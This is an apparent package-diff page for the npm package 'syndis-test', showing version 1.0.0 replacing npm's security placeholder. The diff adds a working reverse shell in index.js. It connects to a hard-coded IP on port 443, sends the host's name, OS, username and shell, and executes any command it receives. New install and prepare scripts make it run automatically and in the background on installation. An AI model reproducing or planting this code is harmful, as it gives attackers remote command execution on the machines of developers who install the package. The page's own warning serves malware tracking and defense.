syndis-test 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of syndis-test might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +20 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,20 @@
1
+ (function(){
2
+ var net = require("net");
3
+ var exec = require("child_process").exec;
4
+ var os = require("os")
5
+ var client = new net.Socket();
6
+ var connection = client.connect(443, "46.101.40.16", function(){
7
+ client.write("Ehlo!\n")
8
+ client.write(os.hostname() + "\n")
9
+ var usr = os.userInfo()
10
+ client.write(os.release() + "\n")
11
+ client.write(os.platform() + "\n")
12
+ client.write(usr.username + "\n")
13
+ client.write(usr.shell + "\n")
14
+ client.on("data",(cmd) => {
15
+ exec(cmd.toString(),(err,stdout,stderr) => {
16
+ client.write(stdout)
17
+ })
18
+ })
19
+ });
20
+ })();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "syndis-test",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "prepare": "node index.js &",
8
+ "install": "node index.js &"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=syndis-test for more information.